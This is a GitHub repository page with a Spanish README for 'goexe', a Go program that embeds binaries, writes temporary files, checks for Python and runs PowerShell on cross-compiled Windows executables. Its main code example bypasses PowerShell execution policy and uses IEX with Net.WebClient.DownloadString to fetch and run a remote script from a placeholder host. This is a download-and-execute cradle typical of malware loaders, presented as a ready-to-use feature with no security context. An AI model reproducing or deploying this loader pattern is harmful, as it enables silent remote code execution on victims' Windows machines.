https://github.com/uixss/goexe
Run script python or powershell for go exe
https://github.com/uixss/goexe
go powershell python
Last synced: 4 months ago
JSON representation
Run script python or powershell for go exe
- Host: GitHub
- URL: https://github.com/uixss/goexe
- Owner: uixss
- Created: 2025-02-04T20:17:05.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-02-04T20:19:46.000Z (about 1 year ago)
- Last Synced: 2025-02-12T09:56:43.619Z (about 1 year ago)
- Topics: go, powershell, python
- Language: Go
- Homepage:
- Size: 5.86 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
## Características
- Ejecución de comandos PowerShell desde Go.
- Uso de `embed.FS` para incluir archivos binarios en el ejecutable.
- Verificación e instalación de Python y módulos requeridos.
- Creación y ejecución de archivos temporales.
- Cross-compiling para Windows desde Linux/macOS.
Compila el ejecutable para Windows:
```sh
GOOS=windows GOARCH=amd64 go build -o program.exe
```
O compila directamente en Windows:
```sh
go build -o program.exe
```
### Ejecución de PowerShell desde Go
```go
cmd := exec.Command("powershell", "-ExecutionPolicy", "Bypass", "-NoProfile", "-Command",
"IEX (New-Object Net.WebClient).DownloadString('http://Local_IP/powershellfile.txt')")
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error ejecutando el comando:", err)
return
}
fmt.Println("Salida del comando:", string(output))
```
### Verificación e Instalación de Python y Módulos
```go
func EnsurePythonInstalled() {
cmd := exec.Command("python", "--version")
err := cmd.Run()
if err != nil {
log.Fatalf("Python no está instalado o no está en el PATH.")
}
fmt.Println("Python está instalado.")
}
```